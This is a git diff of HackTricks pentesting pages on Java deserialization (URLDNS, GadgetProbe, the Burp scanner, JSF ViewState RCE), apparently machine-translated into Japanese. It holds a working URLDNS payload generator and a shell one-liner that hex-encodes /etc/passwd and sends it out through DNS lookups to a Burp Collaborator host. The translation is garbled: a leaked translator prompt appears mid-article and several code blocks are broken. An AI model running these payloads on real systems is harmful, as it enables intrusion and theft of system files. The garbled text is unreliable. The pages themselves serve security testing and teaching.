-## DNS request on deserialization - -The class `java.net.URL` implements `Serializable`, this means that this class can be serialized. +## デシリアライゼーションにおけるDNSリクエスト +クラス`java.net.URL`は`Serializable`を実装しています。これは、このクラスがシリアライズ可能であることを意味します。 ```java public final class URL implements java.io.Serializable { ``` +このクラスは**興味深い振る舞いをします。**ドキュメントによると、「**2つのホストは、両方のホスト名が同じIPアドレスに解決される場合に同等と見なされます**」。したがって、URLオブジェクトが**`equals`**または**`hashCode`**の**いずれかの関数を呼び出すたびに、IPアドレスを取得するためのDNSリクエストが送信されます。** -This class have a **curious behaviour.** From the documentation: “**Two hosts are considered equivalent if both host names can be resolved into the same IP addresses**”.\ -Then, every-time an URL object calls **any** of the **functions `equals`** or **`hashCode`** a **DNS request** to get the IP Address is going to be **sent**. - -**Calling** the function **`hashCode`** **from** an **URL** object is fairly easy, it's enough to insert this object inside a `HashMap` that is going to be deserialized. This is because **at the end** of the **`readObject`** function from `HashMap` this code is executed: - +**URL**オブジェクトから**`hashCode`**関数を**呼び出す**のは非常に簡単で、このオブジェクトをデシリアライズされる`HashMap`に挿入するだけで十分です。これは、`HashMap`の**`readObject`**関数の最後にこのコードが実行されるためです: ```java private void readObject(java.io.ObjectInputStream s) - throws IOException, ClassNotFoundException { - [ ... ] - for (int i = 0; i < mappings; i++) { - [ ... ] - putVal(hash(key), key, value, false, false); - } -``` - -It is **going** the **execute** `putVal` with every value inside the `HashMap`. But, more relevant is the call to `hash` with every value. This is the code of the `hash` function: - -```java -static final int hash(Object key) { - int h; - return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); +throws IOException, ClassNotFoundException { +[ ... ] +for (int i = 0; i < mappings; i++) { +[ ... ] +putVal(hash(key), key, value, false, false); } ``` - -As you can observe, **when deserializing** a **`HashMap`** the function `hash` is going to **be executed with every object** and **during** the **`hash`** execution **it's going to be executed `.hashCode()` of the object**. Therefore, if you **deserializes** a **`HashMap`** **containing** a **URL** object, the **URL object** will **execute** `.hashCode()`. - -Now, lets take a look to the code of `URLObject.hashCode()` : - +次に、`HashMap`内のすべての値を使用して`putVal`を**実行**します。しかし、より重要なのは、すべての値で`hash`が呼び出されることです。以下は`hash`関数のコードです: ```java - public synchronized int hashCode() { - if (hashCode != -1) - return hashCode; - - hashCode = handler.hashCode(this); - return hashCode; +static final int hash(Object key) { +int h; +return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); +} ``` +以下のように観察できるように、**`HashMap`**をデシリアライズする際には、関数`hash`が**オブジェクトごとに実行され**、**`hash`**の実行中にはオブジェクトの`.hashCode()`が実行されます。したがって、**URL**オブジェクトを含む**`HashMap`**をデシリアライズすると、**URLオブジェクト**は`.hashCode()`を実行します。 -As you can see, when a `URLObject` executes`.hashCode()` it is called `hashCode(this)`. A continuation you can see the code of this function: - +では、`URLObject.hashCode()`のコードを見てみましょう: ```java - protected int hashCode(URL u) { - int h = 0; +public synchronized int hashCode() { +if (hashCode != -1) +return hashCode; - // Generate the protocol part. - String protocol = u.getProtocol(); - if (protocol != null) - h += protocol.hashCode(); - - // Generate the host part. - InetAddress addr = getHostAddress(u); - [ ... ] +hashCode = handler.hashCode(this); +return hashCode; ``` +以下のように、`URLObject`が`.hashCode()`を実行すると、`hashCode(this)`と呼ばれます。次に、この関数のコードを見ることができます。 +```java +protected int hashCode(URL u) { +int h = 0; -You can see that a `getHostAddress` is executed to the domain, **launching a DNS query**. +// Generate the protocol part. +String protocol = u.getProtocol(); +if (protocol != null) +h += protocol.hashCode(); -Therefore, this class can be **abused** in order to **launch** a **DNS query** to **demonstrate** that **deserialization** is possible, or even to **exfiltrate information** (you can append as subdomain the output of a command execution). +// Generate the host part. +InetAddress addr = getHostAddress(u); +[ ... ] +``` +以下は、/hive/hacktricks/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.mdというファイルからのコンテンツです。関連する英文を日本語に翻訳し、翻訳を返し、マークダウンとHTMLの構文を正確に保ちます。コード、ハッキング技術の名前、ハッキングの言葉、クラウド/SaaSプラットフォームの名前(Workspace、aws、gcpなど)、'leak'という単語、ペンテスト、およびマークダウンタグなどは翻訳しないでください。また、翻訳とマークダウンの構文以外の追加のものは追加しないでください。 -### URLDNS payload code example +``` +getHostAddressがドメインに対して実行され、DNSクエリが発行されることがわかります。 -You can find the [URDNS payload code from ysoserial here](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java). However, just for make it easier to understand how to code it I created my own PoC (based on the one from ysoserial): +したがって、このクラスは、**シリアライゼーション**が可能であることを**示すために**、または情報を**漏洩**するために、DNSクエリを**実行**するために**悪用**される可能性があります(コマンドの実行結果をサブドメインに追加することができます)。 +### URLDNSペイロードのコード例 + +[ここでysoserialからURDNSペイロードのコードを見つけることができます](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java)。ただし、コードの理解を容易にするために、ysoserialのものをベースにした独自のPoCを作成しました。 +``` ```java import java.io.File; import java.io.FileInputStream; @@ -98,115 +90,112 @@ import java.util.HashMap; import java.net.URL; public class URLDNS { - public static void GeneratePayload(Object instance, String file) - throws Exception { - //Serialize the constructed payload and write it to the file - File f = new File(file); - ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); - out.writeObject(instance); - out.flush(); - out.close(); - } - public static void payloadTest(String file) throws Exception { - //Read the written payload and deserialize it - ObjectInputStream in = new ObjectInputStream(new FileInputStream(file)); - Object obj = in.readObject(); - System.out.println(obj); - in.close(); - } - - public static void main(final String[] args) throws Exception { - String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net"; - HashMap ht = new HashMap(); // HashMap that will contain the URL - URLStreamHandler handler = new SilentURLStreamHandler(); - URL u = new URL(null, url, handler); // URL to use as the Key - ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup. +public static void GeneratePayload(Object instance, String file) +throws Exception { +//Serialize the constructed payload and write it to the file +File f = new File(file); +ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); +out.writeObject(instance); +out.flush(); +out.close(); +} +public static void payloadTest(String file) throws Exception { +//Read the written payload and deserialize it +ObjectInputStream in = new ObjectInputStream(new FileInputStream(file)); +Object obj = in.readObject(); +System.out.println(obj); +in.close(); +} - // During the put above, the URL's hashCode is calculated and cached. - // This resets that so the next time hashCode is called a DNS lookup will be triggered. - final Field field = u.getClass().getDeclaredField("hashCode"); - field.setAccessible(true); - field.set(u, -1); - - //Test the payloads - GeneratePayload(ht, "C:\\Users\\Public\\payload.serial"); - } +public static void main(final String[] args) throws Exception { +String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net"; +HashMap ht = new HashMap(); // HashMap that will contain the URL +URLStreamHandler handler = new SilentURLStreamHandler(); +URL u = new URL(null, url, handler); // URL to use as the Key +ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup. + +// During the put above, the URL's hashCode is calculated and cached. +// This resets that so the next time hashCode is called a DNS lookup will be triggered. +final Field field = u.getClass().getDeclaredField("hashCode"); +field.setAccessible(true); +field.set(u, -1); + +//Test the payloads +GeneratePayload(ht, "C:\\Users\\Public\\payload.serial"); +} } class SilentURLStreamHandler extends URLStreamHandler { - protected URLConnection openConnection(URL u) throws IOException { - return null; - } +protected URLConnection openConnection(URL u) throws IOException { +return null; +} - protected synchronized InetAddress getHostAddress(URL u) { - return null; - } +protected synchronized InetAddress getHostAddress(URL u) { +return null; +} } ``` - -### More information +### 追加情報 * [https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/) -* In the original idea thee commons collections payload was changed to perform a DNS query, this was less reliable that the proposed method, but this is the post: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/) +* 元のアイデアでは、Commons Collectionsのペイロードを変更してDNSクエリを実行することが提案されましたが、これは提案された方法よりも信頼性が低かったです。以下はそのポストです:[https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/) ## GadgetProbe -You can download [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe) from the Burp Suite App Store (Extender). +[**GadgetProbe**](https://github.com/BishopFox/GadgetProbe)は、Burp Suite App Store(Extender)からダウンロードできます。 -**GadgetProbe** will try to figure out if some **Java classes exist** on the Java class of the server so you can know **if** it's **vulnerable** to some known exploit. +**GadgetProbe**は、サーバーのJavaクラスにいくつかの**Javaクラスが存在するかどうか**を調べるために使用されます。これにより、既知の脆弱性に**対して**脆弱性があるかどうかを知ることができます。 -### How does it work +### 動作原理 -**GadgetProbe** will use the same **DNS payload of the previous section** but **before** running the DNS query it will **try to deserialize an arbitrary class**. If the **arbitrary class exists**, the **DNS query** will be **sent** and GadgProbe will note that this class exist. If the **DNS** request is **never sent**, this means that the **arbitrary class wasn't deserialized** successfully so either it's not present or it''s **not serializable/exploitable**. +**GadgetProbe**は、前のセクションと同じ**DNSペイロード**を使用しますが、DNSクエリを実行する**前に**任意のクラスをデシリアライズしようとします。**任意のクラスが存在する**場合、**DNSクエリ**が**送信**され、GadgetProbeはこのクラスが存在することを記録します。**DNS**リクエストが**送信されない**場合、これは**任意のクラスが正常にデシリアライズされなかった**ことを意味します。したがって、それは存在しないか、**シリアライズ可能/攻撃可能ではない**ことを意味します。 -Inside the github, [**GadgetProbe has some wordlists**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) with Java classes for being tested. +GitHub内の[**GadgetProbeにはいくつかのワードリスト**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists)があります。 ![](<../../.gitbook/assets/intruder4 (1) (1) (1).gif>) -### More Information +### 追加情報 * [https://know.bishopfox.com/research/gadgetprobe](https://know.bishopfox.com/research/gadgetprobe) ## Java Deserialization Scanner -This scanner can be **download** from the Burp App Store (**Extender**).\ -The **extension** has **passive** and active **capabilities**. +このスキャナは、Burp App Store(Extender)から**ダウンロード**できます。\ +この**拡張機能**には、**パッシブ**および**アクティブ**な**機能**があります。 -### Passive +### パッシブ -By default it **checks passively** all the requests and responses sent **looking** for **Java serialized magic bytes** and will present a vulnerability warning if any is found: +デフォルトでは、送信されたすべてのリクエストとレスポンスを**パッシブにチェック**し、**Javaシリアライズのマジックバイト**を探し、見つかった場合には脆弱性の警告を表示します。 ![](<../../.gitbook/assets/image (290).png>) -### Active +### アクティブ -**Manual Testing** +**手動テスト** -You can select a request, right click and `Send request to DS - Manual Testing`.\ -Then, inside the _Deserialization Scanner Tab_ --> _Manual testing tab_ you can select the **insertion point**. And **launch the testing** (Select the appropriate attack depending on the encoding used). +リクエストを選択し、右クリックして「Send request to DS - Manual Testing」を選択します。\ +次に、_Deserialization Scanner Tab_ --> _Manual testing tab_ 内で**挿入ポイント**を選択し、**テストを実行**します(使用されているエンコーディングに応じて適切な攻撃を選択します)。 ![](../../.gitbook/assets/3-1.png) -Even if this is called "Manual testing", it's pretty **automated**. It will automatically check if the **deserialization** is **vulnerable** to **any ysoserial payload** checking the libraries present on the web server and will highlight the ones vulnerable. In order to **check** for **vulnerable libraries** you can select to launch **Javas Sleeps**, **sleeps** via **CPU** consumption, or using **DNS** as it has previously being mentioned. +これは「手動テスト」と呼ばれていますが、かなり**自動化**されています。ウェブサーバー上で利用可能なライブラリをチェックし、**デシリアライズ**が**どのysoserialペイロード**に対して**脆弱**かを自動的にチェックし、脆弱なライブラリを強調表示します。**脆弱なライブラリ**をチェックするためには、**Javas Sleeps**、**CPU**の消費による**sleeps**、または先に述べたように**DNS**を使用して起動するように選択できます。 -**Exploiting** +**攻撃** -Once you have identified a vulnerable library you can send the request to the _Exploiting Tab_.\ -I this tab you have to **select** the **injection point** again, an **write** the **vulnerable library** you want to create a payload for, and the **command**. Then, just press the appropriate **Attack** button. +脆弱なライブラリを特定したら、リクエストを_Exploiting Tab_に送信できます。\ +このタブでは、再び**挿入ポイント**を選択し、**作成するペイロード**と**コマンド**を入力します。その後、適切な**Attack**ボタンを押すだけです。 ![](<../../.gitbook/assets/4 (1).png>) -### Java Deserialization DNS Exfil information - -Make your payload execute something like the following: +### Java Deserialization DNS Exfil情報 +ペイロードを以下のように実行するようにしてください: ```bash (i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done) ``` - -### More Information +### 詳細情報 * [https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/) @@ -214,10 +203,10 @@ Make your payload execute something like the following: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization.md b/pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization.md index 3011ca58a..2b198fe2d 100644 --- a/pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization.md +++ b/pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization.md @@ -1,105 +1,98 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-# Intro +# イントロ -After we had a look at [RCEs through misconfigured JSON libraries](https://www.alphabot.com/security/blog/2017/net/How-to-configure-Json.NET-to-create-a-vulnerable-web-API.html) we started analyzing the ViewStates of JSF implementations. [JavaServer Faces (JSF)](https://en.wikipedia.org/wiki/JavaServer_Faces) is a User Interface (UI) technology for building web UIs with reusable components. JSF is mostly used for enterprise applications and a JSF implementation is typically used by a web application that runs on a Java application server like JBoss EAP or WebLogic Server. There are two well-known implementations of the JSF specification: +[RCEs through misconfigured JSON libraries](https://www.alphabot.com/security/blog/2017/net/How-to-configure-Json.NET-to-create-a-vulnerable-web-API.html)を見た後、私たちはJSF実装のViewStatesを分析し始めました。[JavaServer Faces (JSF)](https://en.wikipedia.org/wiki/JavaServer_Faces)は、再利用可能なコンポーネントを使用してWeb UIを構築するためのユーザーインターフェース(UI)技術です。JSFは主にエンタープライズアプリケーションに使用され、JSF実装は通常、JBoss EAPやWebLogic ServerなどのJavaアプリケーションサーバー上で実行されるWebアプリケーションによって使用されます。JSF仕様の2つのよく知られた実装があります: -* Oracle Mojarra (JSF reference implementation) +* Oracle Mojarra(JSFリファレンス実装) * Apache MyFaces -# Scope +# スコープ -This blog post focuses on the two JSF 2.x implementations: Oracle Mojarra (Reference Implementation) and Apache MyFaces. Older implementations (JSF 1.x) are also likely to be affected by the vulnerabilities described in this post. (JSF 2.0.x was initially released in 2009, the current version is 2.3.x). +このブログ記事では、2つのJSF 2.x実装、Oracle Mojarra(リファレンス実装)とApache MyFacesに焦点を当てています。古い実装(JSF 1.x)も、この記事で説明されている脆弱性の影響を受ける可能性があります。(JSF 2.0.xは2009年に最初にリリースされ、現在のバージョンは2.3.xです)。 -# The state of the ViewState +# ViewStateの状態 -A difference between JSF and similar web technologies is that JSF makes use of ViewStates (in addition to sessions) to store the current state of the view (e.g. what parts of the view should currently be displayed). The ViewState can be stored on the `server` or the `client`. JSF ViewStates are typically automatically embedded into HTML forms as hidden field with the name `javax.faces.ViewState`. They are sent back to the server if the form is submitted. +JSFと同様のWeb技術との違いの1つは、JSFがViewStates(セッションに加えて)を使用してビューの現在の状態(例:現在表示されているビューのどの部分を表示するか)を保存することです。ViewStateは`サーバー`または`クライアント`に保存できます。JSFのViewStatesは通常、HTMLフォームに`javax.faces.ViewState`という名前の非表示フィールドとして自動的に埋め込まれます。フォームが送信されると、それらはサーバーに送信されます。 -## Server-side ViewState +## サーバーサイドのViewState -If the JSF ViewState is configured to sit on the `server` the hidden `javax.faces.ViewState` field contains an id that helps the server to retrieve the correct state. In the case of MyFaces that id is a **serialized Java object**! +JSF ViewStateが`サーバー`に配置されるように構成されている場合、非表示の`javax.faces.ViewState`フィールドには、サーバーが正しい状態を取得するのに役立つIDが含まれています。MyFacesの場合、そのIDは**シリアライズされたJavaオブジェクト**です! -## Client-side ViewState +## クライアントサイドのViewState -If the JSF ViewState is configured to sit on the `client` the hidden `javax.faces.ViewState` field contains a **serialized Java object** that is at least Base64 encoded. You might have realized by now that this is a potential road to disaster! That might be one of the reasons why nowadays JSF ViewStates are encrypted and signed before being sent to the client.The dangers of serialized Java objects +JSF ViewStateが`クライアント`に配置されるように構成されている場合、非表示の`javax.faces.ViewState`フィールドには、少なくともBase64でエンコードされた**シリアライズされたJavaオブジェクト**が含まれています。おそらくすでに気づいたかもしれませんが、これは潜在的な災害への道です!それが現在のJSF ViewStatesが送信される前に暗号化および署名される理由の1つかもしれません。シリアライズされたJavaオブジェクトの危険性 -In 2015 at the AppSec California conference [Gabriel Lawrence](https://twitter.com/gebl) and [Chris Frohoff](https://twitter.com/frohoff) held a presentation with the title [Marshalling Pickles (how deserializing objects can ruin your day)](https://frohoff.github.io/appseccali-marshalling-pickles/). This presentation shed some light on forgotten problems with Java object serialization and led to the discovery of [several severe remote code execution (RCE) vulnerabilities](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/). +2015年のAppSec Californiaカンファレンスで、[Gabriel Lawrence](https://twitter.com/gebl)と[Chris Frohoff](https://twitter.com/frohoff)は、「Marshalling Pickles(オブジェクトのデシリアライズがあなたの日常を台無しにする方法)」というタイトルのプレゼンテーションを行いました(https://frohoff.github.io/appseccali-marshalling-pickles/)。このプレゼンテーションは、Javaオブジェクトのシリアル化に関する忘れられた問題に光を当て、[いくつかの深刻なリモートコード実行(RCE)の脆弱性](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)の発見につながりました。 -Unfortunately, it led some people to believe that the vulnerability could be mitigated by removing/updating certain versions of Apache Commons Collections. An action which can indeed help but does not solve the root cause of the problem: Deserialization of Untrusted Data ([CWE 502](https://cwe.mitre.org/data/definitions/502.html)). In other words:\ -**The use of a 'vulnerable' Apache Commons Collections version does not mean that the application is vulnerable, neither does the absence of such a library version mean that the application is not vulnerable.** +残念ながら、これにより、Apache Commons Collectionsの特定のバージョンを削除/更新することで脆弱性を緩和できると信じる人もいました。これは確かに助けになるかもしれませんが、問題の根本的な原因である信頼できないデータのデシリアライズ([CWE 502](https://cwe.mitre.org/data/definitions/502.html))を解決するものではありません。言い換えれば、**「脆弱な」Apache Commons Collectionsバージョンの使用は、アプリケーションが脆弱であることを意味するわけではなく、そのようなライブラリバージョンの欠如は、アプリケーションが脆弱でないことを意味するわけではありません。** -However, after a malicious hacker [shut down and encrypted the systems of the San Francisco Municipal Transportation Agency](https://krebsonsecurity.com/2016/11/san-francisco-rail-system-hacker-hacked/) via a "Mad Gadget"/"Apache Commons Collections Deserialization Vulnerability" Google started [Operation Rosehub](https://opensource.googleblog.com/2017/03/operation-rosehub.html). The aim of operation Rosehub was to find as many Java open source projects as possible which used an 'attacker-friendly' commons collections version as dependency and submit pull requests to the project owners so that those projects would stop using problematic commons collections versions in newer releases. +しかし、悪意のあるハッカーが「Mad Gadget」/「Apache Commons Collections Deserialization Vulnerability」を介してサンフランシスコ市交通局のシステムをシャットダウンして暗号化した後、Googleは[Operation Rosehub](https://opensource.googleblog.com/2017/03/operation-rosehub.html)を開始しました。Operation Rosehubの目的は、依存関係として問題のあるcommons collectionsバージョンを使用しているであろうJavaオープンソースプロジェクトをできるだけ多く見つけ、プロジェクトの所有者にプルリクエストを提出して、それらのプロジェクトが新しいリリースで問題のあるcommons collectionsバージョンの使用をやめるようにすることでした。 +# ViewStateへの攻撃 -# The attack on the ViewState +JSFベースのログインページを持つWebアプリケーションがあると仮定しましょう: -Let’s assume we have a web application with a JSF based login page: - -![JSF based login](https://www.alphabot.com/images/blog/jsf-viewstate/jsf-viewstate-login.png) - -That login page has a ViewState that is neither encrypted nor signed. So when we look at its HTML source we see a hidden field containing the ViewState:Unencrypted MyFaces ViewState: +![JSFベースのログイン](https://www.alphabot.com/images/blog/jsf-viewstate/jsf-viewstate-login.png) +そのログインページには、暗号化も署名もされていないViewStateがあります。そのため、HTMLソースを見ると、ViewStateを含む隠しフィールドが表示されます:Unencrypted MyFaces ViewState: ``` ``` +上記のViewStateをBase64でデコードすると、シリアライズされたJavaオブジェクトが含まれていることがわかります。このViewStateは、フォームが送信されると(たとえば、ログインをクリックすると)POST経由でサーバーに送信されます。ViewStateがサーバーにPOSTされる前に、攻撃者は既にサーバーのクラスパス上にあるガジェット(例:commons-collections-3.2.1.jarのInvokerTransformer)またはまだ公に知られていないガジェットを使用して、ViewStateを自分自身の悪意のあるViewStateで置き換えます。悪意のあるガジェットがViewStateに配置されると、攻撃者はサーバーで実行するコマンドを指定できます。攻撃者が選んだコマンドは、サーバー上のUIで電卓を起動することです。 -\ -If you decode the above ViewState using Base64 you will notice that it contains a serialized Java object. This ViewState is sent back to the server via POST when the form is submitted (e.g. click on Login). Now before the ViewState is POSTed back to the server the attacker replaces the ViewState with his own malicious ViewState using a gadget that’s already on the server’s classpath (e.g. `InvokerTransformer` from commons-collections-3.2.1.jar) or even a gadget that is not yet known to the public. With said malicious gadget placed in the ViewState the attacker specifies which commands he wants to run on the server. The flexibility of what an attacker can do is limited by the powers of the available gadgets on the classpath of the server. In case of the `InvokerTransformer` the attacker can specify which command line commands should be executed on the server. The attacker in our example chose to start a calculator on the UI of our Linux based server. +攻撃者が修正したフォームをサーバーに送信した後、JSFの実装は提供されたViewStateをデシリアライズしようとします。ViewStateのデシリアライズが終了する前に、コマンドが実行され、サーバー上で電卓が起動します。 -After the attacker has sent his modified form back to the server the JSF implementation tries to deserialize the provided ViewState. Now even before the deserialization of the ViewState has ended the command is executed and the calculator is started on the server: +![JSF ViewStateを使用して起動した電卓](https://www.alphabot.com/images/blog/jsf-viewstate/jsf-viewstate-started-calculator.png) -![calculator started via a JSF ViewState](https://www.alphabot.com/images/blog/jsf-viewstate/jsf-viewstate-started-calculator.png) +すべては、JSFの実装がViewStateを確認してそれが無効であると判断する前に起こりました。ViewStateが無効であると判明した場合、通常は「ビューの有効期限が切れました」といったエラーがクライアントに送信されます。しかし、その時点では既に手遅れです。攻撃者はサーバーにアクセスし、コマンドを実行しています(ほとんどの現実の攻撃者は電卓を起動するのではなく、通常はリモートシェルを展開し、それを使用してサーバーにアクセスします)。 -Everything happened before the JSF implementation could have a look at the ViewState and decide that it was no good. When the ViewState was found to be invalid typically an error is sent back to the client like “View expired”. But then it’s already too late. The attacker had access to the server and has run commands. (Most real-world attackers don’t start a calculator but they typically deploy a remote shell, which they then use to access the server.) +=> この例は、非常に危険な未認証のリモートコード実行(RCE)の脆弱性を示しています。 -\=> All in all this example demonstrates a very dangerous unauthenticated remote code execution (RCE) vulnerability. +(上記のJSFに対するほぼ同じ攻撃シナリオは、2015年のプレゼンテーション(65〜67ページ)で既に概説され、デモンストレーションされていました:[Marshalling Pickles](https://frohoff.github.io/appseccali-marshalling-pickles/)(FrohoffとLawrenceによる))。 -(Almost the same attack scenario against JSF as depicted above was already outlined and demonstrated in the 2015 presentation (pages 65 to 67): [Marshalling Pickles](https://frohoff.github.io/appseccali-marshalling-pickles/) held by Frohoff and Lawrence.) +# 成功した攻撃の前提条件 -# The preconditions for a successful attack +それでは、災害のための要素は何でしょうか? -Now, what are the ingredients for a disaster? +* 暗号化されていないViewState(または、暗号化キーの所持) +* サーバーのクラスパス上にガジェットが存在する +* Mojarraの場合:ViewStateが「クライアント」に配置されるように構成されている +* MyFacesの場合:ViewStateが「クライアント」または「サーバー」に配置されるように構成されている -* unencrypted ViewState (or, possession of the encryption key) -* Gadget on the classpath of the server -* In case of Mojarra: ViewState configured to reside on the `client` -* In case of MyFaces: ViewState configured to reside on the `client` **or** the `server` +これらのポイントを、2つのJSF実装と関連して見てみましょう。 -Let’s have a look at those points in relation to the two JSF implementations. +# Oracle Mojarra(JSFリファレンス実装) -# Oracle Mojarra (JSF reference implementation) +前述のように、Oracle MojarraはJSFリファレンス実装(RI)ですが、その名前で知られていないかもしれません。Sun JSF RIとして知られることもあり、javaパッケージ名`com.sun.faces`で認識されるか、あいまいなjar名`jsf-impl.jar`で認識されるかもしれません。 -As said before Oracle Mojarra is the JSF Reference Implementation (RI) but might not be known under that name. It might be known as Sun JSF RI, recognized with the java package name `com.sun.faces` or with the ambiguous jar name `jsf-impl.jar`. +## Mojarra:暗号化されていないViewState -## Mojarra: unencrypted ViewState +ここが重要なポイントです:Mojarraは、2.0.xおよび2.1.xのほとんどのバージョンでデフォルトでクライアントサイドのViewStateを暗号化および署名していませんでした。サーバーサイドのViewStateが両方のJSF実装のデフォルトですが、開発者は`javax.faces.STATE_SAVING_METHOD`パラメータを`client`に設定することで簡単に構成を切り替えてクライアントサイドのViewStateを使用することができます。このパラメータ名は、それをclientに変更すると重大なリモートコード実行の脆弱性(クラスタ化されたWebアプリケーションでクライアントサイドのViewStateが使用される場合など)が導入されることを示していません。 -So here’s the thing: Mojarra did not encrypt and sign the client-side ViewState by default in most of the versions of 2.0.x and 2.1.x. It is important to note that a server-side ViewState is the default in both JSF implementations but a developer could easily switch the configuration to use a client-side viewstate by setting the `javax.faces.STATE_SAVING_METHOD` param to `client`. The param name does in 